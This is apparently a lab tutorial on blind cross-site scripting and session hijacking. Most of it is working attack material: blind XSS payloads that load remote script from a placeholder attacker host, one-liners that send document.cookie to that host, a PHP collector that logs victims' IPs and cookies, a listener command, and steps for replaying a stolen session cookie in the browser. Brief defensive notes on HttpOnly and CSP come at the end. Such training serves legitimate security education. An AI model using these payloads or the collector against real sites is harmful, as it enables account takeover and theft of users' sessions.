XSS: blind detection & session hijacking (cookie stealing)
Sessions and cookies
Web apps often use cookies to keep a user logged in across visits. If an attacker obtains those cookies, they can often reuse the session without knowing the password—session hijacking (cookie stealing).
With XSS, arbitrary JavaScript in the victim’s browser can read document.cookie (when not protected by HttpOnly) and exfiltrate it to an attacker-controlled host.
Blind XSS
Blind XSS executes in a context you never see—for example, data you submit appears only in an admin or staff console.
Typical sinks:
- Contact or registration forms reviewed internally
- Reviews, support tickets, user profile fields visible only to privileged users
- Logged or displayed
User-Agent(and similar headers)
Lab signal (/hijacking)
A user registration flow that responds with “Thank you for registering. An Admin will review your registration request.” implies your strings are rendered elsewhere. You cannot confirm XSS with an alert() in your own browser the usual way.
Out-of-band (OOB) detection
Instead, inject JavaScript that phones home: if your server receives an HTTP hit, you know some page executed your payload (timing depends on when an admin opens the queue).
Two practical problems:
- Which field triggered?
- Which payload shape works in that unknown HTML context?
Identifying the vulnerable field: remote <script src>
Browsers can load scripts from a URL:
<script src="http://ATTACKER_IP/script.js"></script>
Point the src path at a unique path per field so your listener logs which input executed:
<script src="http://ATTACKER_IP/username"></script>
A request for /username implicates the username field; repeat with /fullname, /website, etc.
Payload ideas (context-dependent)
From collections like PayloadsAllTheThings, examples include:
<script src=http://ATTACKER_IP></script>
'><script src=http://ATTACKER_IP></script>
"><script src=http://ATTACKER_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://ATTACKER_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ATTACKER_IP");a.send();</script>
<script>$.getScript("http://ATTACKER_IP")</script>
Leading ' / "> fragments only work when the server reflects you into a matching quote/attribute context. Blind DOM XSS can be easier to weaponize when you can reason about sources and sinks from code—otherwise you fuzz OOB payloads until something calls back.
Listener
Use a simple HTTP server on your box (example from the module):
mkdir -p /tmp/tmpserver && cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
Submit the form with one payload variant across candidate fields, each field using a distinct path suffix (/fullname, /username, …). Wait—admins may not open the view immediately.
Narrowing the search space
- Email fields often pass strict format checks client and server—sometimes safe to skip for XSS fuzzing in a given lab.
- Passwords are usually hashed and not echoed in admin HTML—often lower priority for reflected/blind HTML XSS.
Session hijacking: exfiltrating document.cookie
Once you have a working remote-script include, host a script.js that sends cookies to your collector.
Examples:
document.location = 'http://ATTACKER_IP/index.php?c=' + document.cookie;
new Image().src = 'http://ATTACKER_IP/index.php?c=' + document.cookie;
The Image() approach avoids navigating the whole tab away (slightly less obvious than a full redirect). The browser still issues a normal GET with the cookie string in the query parameter.
XSS wrapper
<script src=http://ATTACKER_IP/script.js></script>
Replace ATTACKER_IP everywhere (payload + script.js).
PHP: parse and log multiple cookies
document.cookie is typically name=value pairs joined by ;. Logging raw query strings gets messy with many victims/cookies. Example index.php:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
You may see GET /script.js then GET /index.php?c=... in the PHP server log. Inspect cookies.txt:
cat cookies.txt
Using the stolen session (lab: Firefox)
- Open the target app’s login or post-login URL (e.g.
/hijacking/login.php). - Developer Tools → Storage (Firefox:
Shift+F9shows the Storage sidebar in some setups—use whichever path exposes Cookies for the site). - Add a cookie: Name = substring before
=, Value = substring after=for the session cookie you stole (e.g.cookie=f904f93c…→ namecookie, value the hex). - Refresh—you should appear as the victim user (e.g. admin) if the cookie is still valid.
Defensive notes
- Set
HttpOnlyon session cookies sodocument.cookiecannot read them from XSS (does not stop all session attacks, but removes this exact exfil path). - CSP, strict encoding, and eliminating XSS remain the primary fixes.
- Use only in authorized tests.